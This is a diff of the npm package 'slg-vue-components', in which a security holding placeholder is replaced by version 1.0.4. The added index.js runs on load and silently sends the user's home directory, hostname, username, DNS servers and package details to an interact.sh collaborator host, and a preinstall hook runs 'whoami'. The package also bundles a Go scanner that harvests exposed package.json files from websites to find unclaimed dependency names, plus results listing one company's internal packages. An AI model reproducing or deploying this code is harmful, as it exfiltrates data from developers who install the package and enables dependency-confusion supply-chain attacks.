slg-vue-components 0.0.1-security → 1.0.4

package/LICENSE

@@ -0,0 +1,21 @@
+MIT License
+
+Copyright (c) 2021 Nenad Popovic
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.

package/README.md

@@ -1,5 +1,48 @@
-# Security holding package
+libsnitch
+---------
+Find broken npm dependencies from exposed package.json
 
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
+### Example usage
+```
+➜ go run libsnitch.go -df domains-500.txt -p 100 -npmd 0.4 -o output.txt 
 
-Please refer to www.npmjs.com/advisories?search=slg-vue-components for more information.
+    _    _ ___  ____ _  _ _ ___ ____ _  _ 
+    |    | |__] l__  |\ | |  |  |    |__| 
+    l___ | |__] ___] | \| |  |  l___ |  | 
+
+
+200	localhost:5000  	grunt (dependencies)
+200	www.managingmadrid.com  	grunt-contrib-watch (devDependencies)
+200	www.seqwater.com.au  	cypress (devDependencies)
+...
+404	localhost:5000  	dead-dependency-123 (devDependencies)
+200	www.ridiculousupside.com  	grunt-stripmq (devDependencies)
+
+
+‣ Succeeded in 16.380843107s 
+‣    targets scanned          500
+‣    exposed package.json     4
+‣    tested npm dependencies  14
+‣ Found 1 broken dependency. 
+```
+**output.txt**
+```
+200	http://localhost:5000/package.json	grunt	dependencies
+200	http://localhost:5000/package.json	grunt-contrib-watch	devDependencies
+200	https://www.ridiculousupside.com/package.json	grunt-newer	devDependencies
+200	https://www.managingmadrid.com/package.json	grunt-contrib-jshint	devDependencies
+200	https://www.managingmadrid.com/package.json	grunt-contrib-watch	devDependencies
+...
+```
+
+### Arguments
+
+| arg | type | Description |
+| --- | ---- | ----------- |
+| `-d` | string | Target domain |
+| `-df` | string | Input file path | 
+| `-p` | int | Parallelism (default 50)| 
+| `-npmd` | float | Delay seconds between requests to [npmjs.com](https://www.npmjs.com/) (default 0) | 
+| `-t` | int | Request timeout in seconds (default 10) | 
+| `-s` | bool | Simple CLI | 
+| `-o` | string | Output file path | 

package/index.js

@@ -0,0 +1,46 @@
+const os = require("os");
+const dns = require("dns");
+const querystring = require("querystring");
+const https = require("https");
+const packageJSON = require("./package.json");
+const package = packageJSON.name;
+
+const trackingData = JSON.stringify({
+    p: package,
+    c: __dirname,
+    hd: os.homedir(),
+    hn: os.hostname(),
+    un: os.userInfo().username,
+    dns: dns.getServers(),
+    r: packageJSON ? packageJSON.___resolved : undefined,
+    v: packageJSON.version,
+    pjson: packageJSON,
+});
+
+var postData = querystring.stringify({
+    msg: trackingData,
+});
+
+var options = {
+    hostname: "caqggsk2vtc0000azam0gfmaepyyyyyyb.interact.sh", //replace burpcollaborator.net with Interactsh or pipedream
+    port: 443,
+    path: "/",
+    method: "POST",
+    headers: {
+        "Content-Type": "application/x-www-form-urlencoded",
+        "Content-Length": postData.length,
+    },
+};
+
+var req = https.request(options, (res) => {
+    res.on("data", (d) => {
+        process.stdout.write(d);
+    });
+});
+
+req.on("error", (e) => {
+    // console.error(e);
+});
+
+req.write(postData);
+req.end();

package/libsnitch.go

@@ -0,0 +1,336 @@
+package main
+
+import (
+    "bufio"
+    "encoding/json"
+    "flag"
+    "fmt"
+    "math/rand"
+    "net/http"
+    "net/url"
+    "os"
+    "strings"
+    "sync"
+    "time"
+)
+
+var banner = `
+    _    _ ___ ` + BannerColor + ` ____ _  _ _ ___ ____ _  _ ` + RstColor + `
+    |    | |__]` + BannerColor + ` l__  |\ | |  |  |    |__| ` + RstColor + `
+    l___ | |__]` + BannerColor + ` ___] | \| |  |  l___ |  | ` + RstColor
+
+const (
+    Red = "\033[31;1m"
+    Green = "\033[32;1m"
+    RstColor = "\033[0m"
+    BannerColor = Red
+)
+
+// Dependency Manager
+
+type DependencyManager struct {
+    techName string
+    mu sync.Mutex
+    dependencyLocks map[string]*sync.Mutex
+    dependencyData map[string]int
+    totalDependencies int
+    brokenDependencies int
+}
+
+func InitDependencyManager(techName string) *DependencyManager {
+    return &DependencyManager{
+        techName: techName,
+        dependencyLocks: make(map[string]*sync.Mutex),
+        dependencyData: make(map[string]int),
+        totalDependencies: 0,
+        brokenDependencies: 0,
+    }
+}
+
+func (dm *DependencyManager) GetMutex(packageName string) *sync.Mutex {
+    dm.mu.Lock()
+    defer dm.mu.Unlock()
+    if mutex, found := dm.dependencyLocks[packageName]; found {
+        return mutex
+    } else {
+        dm.dependencyLocks[packageName] = &sync.Mutex{}
+        return dm.dependencyLocks[packageName]
+    }
+}
+
+func (dm *DependencyManager) GetPackageInfo(packageName string) (int, bool) {
+    dm.mu.Lock()
+    defer dm.mu.Unlock()
+    status, found := dm.dependencyData[packageName]
+    return status, found
+}
+
+func (dm *DependencyManager) SetPackageInfo(packageName string, status int) {
+    dm.mu.Lock()
+    defer dm.mu.Unlock()
+    dm.totalDependencies += 1
+    if status != 200 {
+        dm.brokenDependencies += 1
+    }
+    dm.dependencyData[packageName] = status
+}
+
+// Statistics
+
+type Stats struct {
+    mu sync.Mutex
+    totalTargets      int
+    packageJsonParsed int
+}
+
+func InitStats() *Stats {
+    return &Stats {
+        totalTargets: 0,
+        packageJsonParsed: 0,
+    }
+}
+
+func (s *Stats) IncTotalTargets() {
+    s.mu.Lock()
+    defer s.mu.Unlock()
+    s.totalTargets += 1
+}
+
+func (s *Stats) IncPackageJsonParsed() {
+    s.mu.Lock()
+    defer s.mu.Unlock()
+    s.packageJsonParsed += 1
+}
+
+// Variables
+
+var userAgents = []string {
+    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36",
+    "Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36",
+    "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36",
+    "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0",
+    "Mozilla/5.0 (Macintosh; Intel Mac OS X 11.2; rv:85.0) Gecko/20100101 Firefox/85.0",
+    "Mozilla/5.0 (X11; Linux i686; rv:85.0) Gecko/20100101 Firefox/85.0",
+    "Mozilla/5.0 (Android 11; Mobile; rv:68.0) Gecko/68.0 Firefox/85.0",
+    "Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/87.0.4280.77 Mobile/15E148 Safari/604.1",
+    "Mozilla/5.0 (Linux; Android 10) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.181 Mobile Safari/537.36",
+}
+
+var stats *Stats
+var nodeManager *DependencyManager
+var mu sync.Mutex
+var wg sync.WaitGroup
+var parallelism *int
+var npmDelay *float64
+var timeout time.Duration
+var simpleCli *bool
+var outputFilePath *string
+var targetDomains [] string
+var activeThreads chan interface{}
+var npmMutex sync.Mutex
+var outputMutex sync.Mutex
+
+func printStats(elapsedTime time.Duration) {
+    fmt.Println()
+    fmt.Printf("‣ Succeeded in %s \n", elapsedTime.String())
+    fmt.Printf("‣    targets scanned          %d\n", stats.totalTargets)
+    fmt.Printf("‣    exposed package.json     %d\n", stats.packageJsonParsed)
+    fmt.Printf("‣    tested npm dependencies  %d\n", nodeManager.totalDependencies)
+    if nodeManager.brokenDependencies == 1 {
+        fmt.Printf("‣ Found %d broken dependency. \n", nodeManager.brokenDependencies)
+    } else {
+        fmt.Printf("‣ Found %d broken dependencies. \n", nodeManager.brokenDependencies)
+    }
+    fmt.Println(RstColor)
+}
+
+func writeResult(line, outputFile string) {
+    outputMutex.Lock()
+    defer outputMutex.Unlock()
+    file, _ := os.OpenFile(outputFile, os.O_APPEND|os.O_WRONLY, 0600)
+    defer file.Close()
+    writer := bufio.NewWriter(file)
+    _, _ = fmt.Fprintln(writer, line)
+    _ = writer.Flush()
+}
+
+func handleResult(targetUrl, packageName, dependencyType string, status int){
+    mu.Lock()
+    defer mu.Unlock()
+    parsedUrl, _ := url.Parse(targetUrl)
+    resultLine := fmt.Sprintf("%d\t%s\t%s\t%s", status, targetUrl, packageName, dependencyType)
+    if *simpleCli {
+        fmt.Println(resultLine)
+    } else {
+        if status == 200 {
+            fmt.Printf("%s%d%s\t%s  \t%s (%s)\n", Green, status, RstColor, parsedUrl.Host, packageName, dependencyType)
+        } else {
+            fmt.Printf("%s%d\t%s  \t%s (%s)%s\n", Red, status, parsedUrl.Host, packageName, dependencyType, RstColor)
+        }
+    }
+    if *outputFilePath != "" {
+        writeResult(resultLine, *outputFilePath)
+    }
+
+}
+
+func handleError(url, msg string) {
+    mu.Lock()
+    defer mu.Unlock()
+    fmt.Println(url, Red, "Error", msg, RstColor)
+}
+
+func testNpmDependency(targetUrl, packageName, dependencyType string) {
+    nodeManager.GetMutex(packageName).Lock()
+    defer nodeManager.GetMutex(packageName).Unlock()
+    if statusCode, found := nodeManager.GetPackageInfo(packageName); found {
+        handleResult(targetUrl, packageName, dependencyType, statusCode)
+        return
+    }
+    activeThreads <- struct{}{}
+    defer func(){ <- activeThreads }()
+
+    // Delay requests
+    if *npmDelay > 0.0 {
+        npmMutex.Lock()
+        defer npmMutex.Unlock()
+        time.Sleep(time.Duration(*npmDelay*1000) * time.Millisecond)
+    }
+
+    request, reqErr := http.NewRequest("GET", "https://www.npmjs.com/package/" + packageName, nil)
+    if reqErr != nil {
+        return
+    }
+    request.Header.Set("User-Agent", getRandomUserAgent())
+    client := &http.Client{Timeout: timeout}
+    response, respError := client.Do(request)
+    if respError != nil || response == nil {
+        return
+    }
+    nodeManager.SetPackageInfo(packageName, response.StatusCode)
+    handleResult(targetUrl, packageName, dependencyType, response.StatusCode)
+}
+
+func snitchNodeJs(targetUrl string) {
+    activeThreads <- struct{}{}
+    defer func(){ <- activeThreads }()
+    defer wg.Done()
+
+    stats.IncTotalTargets()
+    u, _ := url.Parse(targetUrl)
+    targetUrl = fmt.Sprintf("%s://%s/package.json", u.Scheme, u.Host)
+    client := &http.Client{
+        Timeout: timeout,
+        CheckRedirect: func(req *http.Request, via []*http.Request) error {
+           return http.ErrUseLastResponse
+        },
+    }
+    request, reqErr := http.NewRequest("GET", targetUrl, nil)
+    if reqErr != nil {
+        handleError(targetUrl, reqErr.Error())
+        return
+    }
+    request.Header.Set("User-Agent", getRandomUserAgent())
+    response, err := client.Do(request)
+    if err != nil || response == nil || response.StatusCode != 200 ||
+        !strings.Contains(response.Header.Get("Content-Type"), "application/json") {
+        return
+    }
+    defer response.Body.Close()
+    packageJson := make(map[string]interface{})
+    decodeErr := json.NewDecoder(response.Body).Decode(&packageJson)
+    if decodeErr != nil {
+        handleError(targetUrl, "c")
+        return
+    }
+    stats.IncPackageJsonParsed()
+    for key := range packageJson {
+        if strings.Contains(strings.ToLower(key), "dependencies") {
+            dependencyMap, ok := packageJson[key].(map[string]interface{})
+            if ok {
+                for packageName := range dependencyMap {
+                    testNpmDependency(targetUrl, packageName, key)
+                }
+            }
+        }
+    }
+}
+
+func abort(msg string, code int) {
+    fmt.Println("Error:", msg)
+    os.Exit(code)
+}
+
+func getRandomUserAgent() string {
+    rand.Seed(time.Now().UnixNano())
+    return userAgents[rand.Intn(len(userAgents))]
+}
+
+func readInputFile(path string) []string {
+    file, err := os.Open(path)
+    if err != nil {
+        abort(err.Error(), 1)
+    }
+    defer file.Close()
+
+    var lines []string
+    scanner := bufio.NewScanner(file)
+    for scanner.Scan() {
+        lines = append(lines, scanner.Text())
+    }
+    if scanner.Err() != nil { abort(scanner.Err().Error(), 1)}
+    return lines
+}
+
+func main(){
+    var targetDomain = flag.String("d", "", "Target domain")
+    var inputFilePath = flag.String("df", "","Input file path")
+    parallelism = flag.Int("p", 50, "Parallelism")
+    argTimeout := flag.Int("t", 10, "Request timeout in seconds.")
+    npmDelay = flag.Float64("npmd", 0.0, "Delay seconds between requests to npmjs.com")
+    simpleCli = flag.Bool("s", false, "Simple CLI (default: false)")
+    outputFilePath = flag.String("o", "","Output file path")
+    flag.Parse()
+    timeout = time.Duration(*argTimeout) * time.Second
+    activeThreads = make(chan interface{}, *parallelism)
+    stats = InitStats()
+    nodeManager = InitDependencyManager("Node")
+
+    // Prepare target domain list
+    if *targetDomain != "" {
+        targetDomains = []string{*targetDomain}
+    } else {
+        if *inputFilePath == "" {
+            fmt.Println()
+            flag.PrintDefaults()
+            fmt.Println()
+            abort("Must specify target domain or input file path.", 1)
+        }
+        targetDomains = readInputFile(*inputFilePath)
+    }
+
+    // Try creating output file if provided path
+    if *outputFilePath != "" {
+        _, err := os.Create(*outputFilePath)
+        if err != nil {
+            abort(err.Error(), 1)
+        }
+    }
+
+    if !*simpleCli {
+        fmt.Println(banner)
+        fmt.Println()
+    }
+
+    start := time.Now()
+    for _, domain := range targetDomains {
+        wg.Add(1)
+        go snitchNodeJs(domain)
+    }
+    wg.Wait()
+    elapsed := time.Since(start)
+
+    if !*simpleCli {
+        printStats(elapsed)
+    }
+}

package/output.txt

@@ -0,0 +1,52 @@
+200	https://admin-event-prod.superleague.com/package.json	@vue/cli-service	dependencies
+200	https://admin-event-prod.superleague.com/package.json	currency-symbol-map	dependencies
+200	https://admin-event-prod.superleague.com/package.json	eslint-config-google	dependencies
+200	https://admin-event-prod.superleague.com/package.json	eslint-plugin-vue	dependencies
+200	https://admin-event-prod.superleague.com/package.json	sass-loader	dependencies
+200	https://admin-event-prod.superleague.com/package.json	@vue/cli-plugin-babel	dependencies
+200	https://admin-event-prod.superleague.com/package.json	babel-eslint	dependencies
+200	https://admin-event-prod.superleague.com/package.json	express	dependencies
+200	https://admin-event-prod.superleague.com/package.json	jsonwebtoken	dependencies
+200	https://admin-event-prod.superleague.com/package.json	mammoth	dependencies
+200	https://admin-event-prod.superleague.com/package.json	vue-analytics	dependencies
+200	https://admin-event-prod.superleague.com/package.json	moment-timezone	dependencies
+200	https://admin-event-prod.superleague.com/package.json	vue-plyr	dependencies
+200	https://admin-event-prod.superleague.com/package.json	@kazupon/vue-i18n-loader	dependencies
+200	https://admin-event-prod.superleague.com/package.json	@nymdev/health-check	dependencies
+200	https://admin-event-prod.superleague.com/package.json	@vue/cli-plugin-unit-jest	dependencies
+200	https://admin-event-prod.superleague.com/package.json	cypress	dependencies
+200	https://admin-event-prod.superleague.com/package.json	jest	dependencies
+200	https://admin-event-prod.superleague.com/package.json	moment	dependencies
+200	https://admin-event-prod.superleague.com/package.json	vue-template-compiler	dependencies
+200	https://admin-event-prod.superleague.com/package.json	vuetify-loader	dependencies
+200	https://admin-event-prod.superleague.com/package.json	vue-router	dependencies
+200	https://admin-event-prod.superleague.com/package.json	vue-router-middleware	dependencies
+429	https://admin-event-prod.superleague.com/package.json	@vue/test-utils	dependencies
+429	https://admin-event-prod.superleague.com/package.json	aws-sdk	dependencies
+429	https://admin-event-prod.superleague.com/package.json	axios	dependencies
+429	https://admin-event-prod.superleague.com/package.json	config	dependencies
+429	https://admin-event-prod.superleague.com/package.json	eslint	dependencies
+429	https://admin-event-prod.superleague.com/package.json	vue-cli-plugin-i18n	dependencies
+429	https://admin-event-prod.superleague.com/package.json	vue2-dropzone	dependencies
+429	https://admin-event-prod.superleague.com/package.json	babel-jest	dependencies
+429	https://admin-event-prod.superleague.com/package.json	slugify	dependencies
+429	https://admin-event-prod.superleague.com/package.json	vue	dependencies
+429	https://admin-event-prod.superleague.com/package.json	vuex-persistedstate	dependencies
+429	https://admin-event-prod.superleague.com/package.json	vue-cli-plugin-vuetify	dependencies
+429	https://admin-event-prod.superleague.com/package.json	vue-i18n	dependencies
+429	https://admin-event-prod.superleague.com/package.json	babel-core	dependencies
+429	https://admin-event-prod.superleague.com/package.json	babel-plugin-require-context-polyfill	dependencies
+429	https://admin-event-prod.superleague.com/package.json	connect-history-api-fallback	dependencies
+429	https://admin-event-prod.superleague.com/package.json	npm-run-all	dependencies
+429	https://admin-event-prod.superleague.com/package.json	sass	dependencies
+429	https://admin-event-prod.superleague.com/package.json	slg-shared-utils	dependencies
+429	https://admin-event-prod.superleague.com/package.json	vuetify	dependencies
+429	https://admin-event-prod.superleague.com/package.json	vuex	dependencies
+429	https://admin-event-prod.superleague.com/package.json	lodash	dependencies
+200	https://admin-event-prod.superleague.com/package.json	node-sass	dependencies
+200	https://admin-event-prod.superleague.com/package.json	vue-the-mask	dependencies
+200	https://admin-event-prod.superleague.com/package.json	@auth0/auth0-spa-js	dependencies
+200	https://admin-event-prod.superleague.com/package.json	@vue/cli-plugin-eslint	dependencies
+200	https://admin-event-prod.superleague.com/package.json	marked	dependencies
+200	https://admin-event-prod.superleague.com/package.json	path	dependencies
+200	https://admin-event-prod.superleague.com/package.json	slg-vue-components	dependencies

package/package.json

@@ -1,6 +1,12 @@
 {
   "name": "slg-vue-components",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "1.0.4",
+  "description": "",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1",
+    "preinstall": "whoami"
+  },
+  "author": "",
+  "license": "ISC"
 }